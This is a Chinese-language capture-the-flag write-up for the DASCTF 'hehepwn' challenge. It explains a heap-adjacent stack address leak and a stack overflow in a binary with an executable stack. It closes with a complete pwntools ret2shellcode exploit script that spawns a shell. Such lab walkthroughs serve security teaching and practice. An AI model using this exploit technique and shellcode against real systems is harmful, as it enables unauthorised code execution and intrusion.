DASCTF-hehepwn writeup
已上传网盘,方便复现
链接:https://pan.baidu.com/s/1ceYwALaUJn6TIS2eK9TN8w
提取码:ynzg
分析程序
没有开启任何保护,这里注意到开启了栈可执行,存在rwx字段,那么之后可以尝试在栈上执行ret2shellcode

使用ida分析程序
在这里可以看到存在堆上内容的泄露
strdup:strdup()会先用maolloc()配置与参数s 字符串相同的空间大小,然后将参数s 字符串的内容复制到该内存地址,然后把该地址返回。该地址最后可以利用free()来释放。
那么我们将read的0x20字全部填充,在没有字符串结尾的情况下,printf就会打印出堆块之后地址的内容

main函数中存在栈溢出,没有canary,可以直接覆盖返回地址

进行尝试
直到这里还并不知道该怎么攻击,不过既然有一个内存泄露,就先看看泄露出了什么
利用gdb进行调试

然后意外的发现,紧跟着我们申请的堆块后的被我们泄露出的地址是栈上的地址
继续跟踪发现是rbp的地址
那么既然泄露出了栈地址,又开启了栈可执行,我们就在栈上ret2shellcode了
exp
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io = process('./bypwn')
# io = remote('node4.buuoj.cn', 27761)
elf = ELF('./bypwn')
gdb.attach(io)
io.recvuntil(b'well you input:\n')
io.sendline(b'a' * (0x20 - 4) + b'bbbb')
io.recvuntil('bbbb')
#调试发现可泄漏地址为rbp
rbp = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(rbp))
stack = rbp - 0x50
io.recvuntil(b'EASY PWN PWN PWN~\n')
shellcode = asm(shellcraft.sh())
shellcode = shellcode.ljust(0x58, b'a')
payload = shellcode + p64(stack)
io.sendline(payload)
io.interactive()

本文详细介绍了如何利用程序存在的栈溢出和内存泄露漏洞,通过IDA分析,发现可以执行栈上的shellcode。在调试过程中,揭示了堆块泄露的栈地址,并成功构造payload覆盖返回地址,最终实现RET2Shellcode攻击。实验过程结合gdb进行,展示了漏洞利用的完整流程。
3830

被折叠的 条评论
为什么被折叠?



